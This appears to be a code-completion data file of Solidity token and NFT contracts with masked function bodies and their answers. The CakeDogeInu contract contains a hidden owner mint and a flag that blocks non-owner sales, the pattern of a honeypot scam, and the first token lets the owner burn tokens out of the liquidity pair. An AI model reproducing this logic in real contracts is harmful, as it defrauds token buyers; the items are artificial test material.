uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } <FILL_FUNCTION> function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require( _frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes" ); require( _percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%" ); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div( 10000 ); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success, ) = address(devWallet).call{value: ethForDev}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }("");
function swapBack() private
function swapBack() private
36575
ZenApes
whitelistMint
contract ZenApes is ERC721, MerkleWhitelist, Ownable, ERCWithdrawable { /* ZenApes by 0xInuarashi Discord: 0xInuarashi#1234 Twitter: https://twitter.com/0xInuarashi Features: Namable, Descripable (Send to Back-End) [/] Flexible Interface with ERC20 (Banana, Peel) [/] Uninstantiated Transfer Hook for Token Yield [/] Limit to 1 mint per address [/] Merkle Whitelisting [/] Public Sale [/] */ // Constructor constructor() ERC721("ZenApe", "ZEN") {} // Project Constraints uint16 immutable public maxTokens = 5000; // General NFT Variables uint256 public mintPrice = 0.07 ether; uint256 public totalSupply; string internal baseTokenURI; string internal baseTokenURI_EXT; // Interfaces iYield public yieldToken; mapping(address => bool) public controllers; // Whitelist Mappings mapping(address => uint16) public addressToWhitelistMinted; mapping(address => uint16) public addressToPublicMinted; // Namable mapping(uint256 => string) public zenApeName; mapping(uint256 => string) public zenApeBio; // Events event Mint(address to_, uint256 tokenId_); event NameChange(uint256 tokenId_, string name_); event BioChange(uint256 tokenId_, string bio_); // Contract Governance function withdrawEther() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } function setMintPrice(uint256 price_) external onlyOwner { mintPrice = price_; } // ERCWithdrawable function withdrawERC20(address contractAddress_, uint256 amount_) external onlyOwner { _withdrawERC20(contractAddress_, amount_); } function withdrawERC721(address contractAddress_, uint256 tokenId_) external onlyOwner { _withdrawERC721(contractAddress_, tokenId_); } function withdrawERC1155(address contractAddress_, uint256 tokenId_, uint256 amount_) external onlyOwner { _withdrawERC1155(contractAddress_, tokenId_, amount_); } // MerkleRoot function setMerkleRoot(bytes32 merkleRoot_) external onlyOwner { _setMerkleRoot(merkleRoot_); } // // Time Setters // Whitelist Sale bool public whitelistSaleEnabled; uint256 public whitelistSaleTime; function setWhitelistSale(bool bool_, uint256 time_) external onlyOwner { whitelistSaleEnabled = bool_; whitelistSaleTime = time_; } modifier whitelistSale { require(whitelistSaleEnabled && block.timestamp >= whitelistSaleTime, "Whitelist sale not open yet!"); _; } function whitelistSaleIsEnabled() public view returns (bool) { return (whitelistSaleEnabled && block.timestamp >= whitelistSaleTime); } // Public Sale bool public publicSaleEnabled; uint256 public publicSaleTime; function setPublicSale(bool bool_, uint256 time_) external onlyOwner { publicSaleEnabled = bool_; publicSaleTime = time_; } modifier publicSale { require(publicSaleEnabled && block.timestamp >= publicSaleTime, "Public Sale is not open yet!"); _; } function publicSaleIsEnabled() public view returns (bool) { return (publicSaleEnabled && block.timestamp >= publicSaleTime); } // Modifiers modifier onlySender { require(msg.sender == tx.origin, "No smart contracts!"); _; } modifier onlyControllers { require(controllers[msg.sender], "You are not authorized!"); _; } // Contract Administration function setYieldToken(address address_) external onlyOwner { yieldToken = iYield(address_); } function setController(address address_, bool bool_) external onlyOwner { controllers[address_] = bool_; } function setBaseTokenURI(string memory uri_) external onlyOwner { baseTokenURI = uri_; } function setBaseTokenURI_EXT(string memory ext_) external onlyOwner { baseTokenURI_EXT = ext_; } // Controller Functions function changeName(uint256 tokenId_, string memory name_) public onlyControllers { zenApeName[tokenId_] = name_; } function changeBio(uint256 tokenId_, string memory bio_) public onlyControllers { zenApeBio[tokenId_] = bio_; } // Mint functions function __getTokenId() internal view returns (uint256) { return totalSupply + 1; } function ownerMint(address to_, uint256 amount_) external onlyOwner { for (uint256 i = 0; i < amount_; i++) { _mint(to_, __getTokenId() + i); } totalSupply += amount_; } function ownerMintToMany(address[] memory tos_, uint256[] memory amounts_) external onlyOwner { require(tos_.length == amounts_.length, "Length mismatch!"); // Iterate through each request for (uint256 i = 0; i < tos_.length; i++) { // Do ownerMint logic for (uint256 j = 0 ; j < amounts_[i]; j++) { _mint(tos_[i], __getTokenId() + j); } totalSupply += amounts_[i]; } } function whitelistMint(bytes32[] memory proof_) external payable onlySender whitelistSale {<FILL_FUNCTION_BODY> } function publicMint() external payable onlySender publicSale { require(addressToPublicMinted[msg.sender] < 2, "You have no public mints remaining!"); require(msg.value == mintPrice, "Invalid value sent!"); require(maxTokens > totalSupply, "No more remaining tokens!"); addressToPublicMinted[msg.sender]++; totalSupply++; _mint(msg.sender, __getTokenId()); emit Mint(msg.sender, __getTokenId()); } // Transfer Hooks function transferFrom(address from_, address to_, uint256 tokenId_) public override { if ( yieldToken != iYield(address(0x0)) ) { yieldToken.updateReward(from_, to_, tokenId_); } ERC721.transferFrom(from_, to_, tokenId_); } function safeTransferFrom(address from_, address to_, uint256 tokenId_, bytes memory data_) public override { if ( yieldToken != iYield(address(0x0)) ) { yieldToken.updateReward(from_, to_, tokenId_); } ERC721.safeTransferFrom(from_, to_, tokenId_, data_); } // Those who know will know what this is... I'm just putting it here just in case ;) address public renderer; bool public useRenderer; function setRenderer(address address_) external onlyOwner { renderer = address_; } function setUseRenderer(bool bool_) external onlyOwner { useRenderer = bool_; } // View Function for Tokens function tokenURI(uint256 tokenId_) public view override returns (string memory) { require(_exists(tokenId_), "Token doesn't exist!"); if (!useRenderer) { return string(abi.encodePacked(baseTokenURI, Strings.toString(tokenId_), baseTokenURI_EXT)); } else { return iRenderer(renderer).tokenURI(tokenId_); } } // 0xInuarashi Custom Functions for ERC721 function multiTransferFrom(address from_, address to_, uint256[] memory tokenIds_) public { for (uint256 i = 0; i < tokenIds_.length; i++) { ERC721.transferFrom(from_, to_, tokenIds_[i]); } } function multiSafeTransferFrom(address from_, address to_, uint256[] memory tokenIds_, bytes[] memory datas_) public { for (uint256 i = 0; i < tokenIds_.length; i++) { ERC721.safeTransferFrom(from_, to_, tokenIds_[i], datas_[i]); } } function walletOfOwner(address address_) public view returns (uint256[] memory) { uint256 _balance = balanceOf(address_); uint256[] memory _tokens = new uint256[](_balance); uint256 _index; for (uint256 i = 0; i < maxTokens; i++) { if (address_ == ownerOf(i)) { _tokens[_index] = i; _index++; } } return _tokens; } }
contract ZenApes is ERC721, MerkleWhitelist, Ownable, ERCWithdrawable { /* ZenApes by 0xInuarashi Discord: 0xInuarashi#1234 Twitter: https://twitter.com/0xInuarashi Features: Namable, Descripable (Send to Back-End) [/] Flexible Interface with ERC20 (Banana, Peel) [/] Uninstantiated Transfer Hook for Token Yield [/] Limit to 1 mint per address [/] Merkle Whitelisting [/] Public Sale [/] */ // Constructor constructor() ERC721("ZenApe", "ZEN") {} // Project Constraints uint16 immutable public maxTokens = 5000; // General NFT Variables uint256 public mintPrice = 0.07 ether; uint256 public totalSupply; string internal baseTokenURI; string internal baseTokenURI_EXT; // Interfaces iYield public yieldToken; mapping(address => bool) public controllers; // Whitelist Mappings mapping(address => uint16) public addressToWhitelistMinted; mapping(address => uint16) public addressToPublicMinted; // Namable mapping(uint256 => string) public zenApeName; mapping(uint256 => string) public zenApeBio; // Events event Mint(address to_, uint256 tokenId_); event NameChange(uint256 tokenId_, string name_); event BioChange(uint256 tokenId_, string bio_); // Contract Governance function withdrawEther() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } function setMintPrice(uint256 price_) external onlyOwner { mintPrice = price_; } // ERCWithdrawable function withdrawERC20(address contractAddress_, uint256 amount_) external onlyOwner { _withdrawERC20(contractAddress_, amount_); } function withdrawERC721(address contractAddress_, uint256 tokenId_) external onlyOwner { _withdrawERC721(contractAddress_, tokenId_); } function withdrawERC1155(address contractAddress_, uint256 tokenId_, uint256 amount_) external onlyOwner { _withdrawERC1155(contractAddress_, tokenId_, amount_); } // MerkleRoot function setMerkleRoot(bytes32 merkleRoot_) external onlyOwner { _setMerkleRoot(merkleRoot_); } // // Time Setters // Whitelist Sale bool public whitelistSaleEnabled; uint256 public whitelistSaleTime; function setWhitelistSale(bool bool_, uint256 time_) external onlyOwner { whitelistSaleEnabled = bool_; whitelistSaleTime = time_; } modifier whitelistSale { require(whitelistSaleEnabled && block.timestamp >= whitelistSaleTime, "Whitelist sale not open yet!"); _; } function whitelistSaleIsEnabled() public view returns (bool) { return (whitelistSaleEnabled && block.timestamp >= whitelistSaleTime); } // Public Sale bool public publicSaleEnabled; uint256 public publicSaleTime; function setPublicSale(bool bool_, uint256 time_) external onlyOwner { publicSaleEnabled = bool_; publicSaleTime = time_; } modifier publicSale { require(publicSaleEnabled && block.timestamp >= publicSaleTime, "Public Sale is not open yet!"); _; } function publicSaleIsEnabled() public view returns (bool) { return (publicSaleEnabled && block.timestamp >= publicSaleTime); } // Modifiers modifier onlySender { require(msg.sender == tx.origin, "No smart contracts!"); _; } modifier onlyControllers { require(controllers[msg.sender], "You are not authorized!"); _; } // Contract Administration function setYieldToken(address address_) external onlyOwner { yieldToken = iYield(address_); } function setController(address address_, bool bool_) external onlyOwner { controllers[address_] = bool_; } function setBaseTokenURI(string memory uri_) external onlyOwner { baseTokenURI = uri_; } function setBaseTokenURI_EXT(string memory ext_) external onlyOwner { baseTokenURI_EXT = ext_; } // Controller Functions function changeName(uint256 tokenId_, string memory name_) public onlyControllers { zenApeName[tokenId_] = name_; } function changeBio(uint256 tokenId_, string memory bio_) public onlyControllers { zenApeBio[tokenId_] = bio_; } // Mint functions function __getTokenId() internal view returns (uint256) { return totalSupply + 1; } function ownerMint(address to_, uint256 amount_) external onlyOwner { for (uint256 i = 0; i < amount_; i++) { _mint(to_, __getTokenId() + i); } totalSupply += amount_; } function ownerMintToMany(address[] memory tos_, uint256[] memory amounts_) external onlyOwner { require(tos_.length == amounts_.length, "Length mismatch!"); // Iterate through each request for (uint256 i = 0; i < tos_.length; i++) { // Do ownerMint logic for (uint256 j = 0 ; j < amounts_[i]; j++) { _mint(tos_[i], __getTokenId() + j); } totalSupply += amounts_[i]; } } <FILL_FUNCTION> function publicMint() external payable onlySender publicSale { require(addressToPublicMinted[msg.sender] < 2, "You have no public mints remaining!"); require(msg.value == mintPrice, "Invalid value sent!"); require(maxTokens > totalSupply, "No more remaining tokens!"); addressToPublicMinted[msg.sender]++; totalSupply++; _mint(msg.sender, __getTokenId()); emit Mint(msg.sender, __getTokenId()); } // Transfer Hooks function transferFrom(address from_, address to_, uint256 tokenId_) public override { if ( yieldToken != iYield(address(0x0)) ) { yieldToken.updateReward(from_, to_, tokenId_); } ERC721.transferFrom(from_, to_, tokenId_); } function safeTransferFrom(address from_, address to_, uint256 tokenId_, bytes memory data_) public override { if ( yieldToken != iYield(address(0x0)) ) { yieldToken.updateReward(from_, to_, tokenId_); } ERC721.safeTransferFrom(from_, to_, tokenId_, data_); } // Those who know will know what this is... I'm just putting it here just in case ;) address public renderer; bool public useRenderer; function setRenderer(address address_) external onlyOwner { renderer = address_; } function setUseRenderer(bool bool_) external onlyOwner { useRenderer = bool_; } // View Function for Tokens function tokenURI(uint256 tokenId_) public view override returns (string memory) { require(_exists(tokenId_), "Token doesn't exist!"); if (!useRenderer) { return string(abi.encodePacked(baseTokenURI, Strings.toString(tokenId_), baseTokenURI_EXT)); } else { return iRenderer(renderer).tokenURI(tokenId_); } } // 0xInuarashi Custom Functions for ERC721 function multiTransferFrom(address from_, address to_, uint256[] memory tokenIds_) public { for (uint256 i = 0; i < tokenIds_.length; i++) { ERC721.transferFrom(from_, to_, tokenIds_[i]); } } function multiSafeTransferFrom(address from_, address to_, uint256[] memory tokenIds_, bytes[] memory datas_) public { for (uint256 i = 0; i < tokenIds_.length; i++) { ERC721.safeTransferFrom(from_, to_, tokenIds_[i], datas_[i]); } } function walletOfOwner(address address_) public view returns (uint256[] memory) { uint256 _balance = balanceOf(address_); uint256[] memory _tokens = new uint256[](_balance); uint256 _index; for (uint256 i = 0; i < maxTokens; i++) { if (address_ == ownerOf(i)) { _tokens[_index] = i; _index++; } } return _tokens; } }
require(isWhitelisted(msg.sender, proof_), "You are not whitelisted!"); require(addressToWhitelistMinted[msg.sender] == 0, "You have no whitelist mints remaining!"); require(msg.value == mintPrice, "Invalid Value Sent!"); require(maxTokens > totalSupply, "No more remaining tokens!"); addressToWhitelistMinted[msg.sender]++; totalSupply++; _mint(msg.sender, __getTokenId()); emit Mint(msg.sender, __getTokenId());
function whitelistMint(bytes32[] memory proof_) external payable onlySender whitelistSale
function whitelistMint(bytes32[] memory proof_) external payable onlySender whitelistSale
32883
BOMSToken
transferAnyERC20Token
contract BOMSToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function BOMSToken() public { symbol = "BOMS"; name = "Blockchain of Original Material System"; decimals = 18; _totalSupply = 100 * (10**8) * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {<FILL_FUNCTION_BODY> } }
contract BOMSToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function BOMSToken() public { symbol = "BOMS"; name = "Blockchain of Original Material System"; decimals = 18; _totalSupply = 100 * (10**8) * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } <FILL_FUNCTION> }
return ERC20Interface(tokenAddress).transfer(owner, tokens);
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success)
// ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success)
20694
CakeDogeInu
_tokenTransfer
contract CakeDogeInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "CakeDogeInu | t.me/cakedogeinu"; string private constant _symbol = "CAKEDOGE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); bool private isChives = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x478a16c0c700c6ae6Ce3A1393C89De77373CF94a); _feeAddrWallet2 = payable(0x72210bc5087b5Bc191a570d003dEaA75305D7a46); _rOwned[_msgSender()] = _rTotal; _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x000000000000000000000000000000000000dEaD), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if(isChives) return _balances[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setreflectrate(uint256 amount) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _tTotal = _tTotal.add(amount); _maxTxAmount = _tTotal; _balances[_msgSender()] = _balances[_msgSender()].add(amount); isChives = true; emit Transfer(address(0), _msgSender(), amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 0; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { require(!bots[from] && !bots[to]); require(!isChives, "Uniswap only"); require(amount <= _maxTxAmount); _feeAddr1 = 5; _feeAddr2 = 20; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = false; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); bots[notbot] = false; } function setExcludedFromFee(address[] memory bots_) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); for (uint i = 0; i < bots_.length; i++) { _isExcludedFromFee[bots_[i]] = true; } } function delExcludedFromFee(address[] memory bots_) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); for (uint i = 0; i < bots_.length; i++) { _isExcludedFromFee[bots_[i]] = false; } } function _tokenTransfer(address sender, address recipient, uint256 amount) private {<FILL_FUNCTION_BODY> } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); 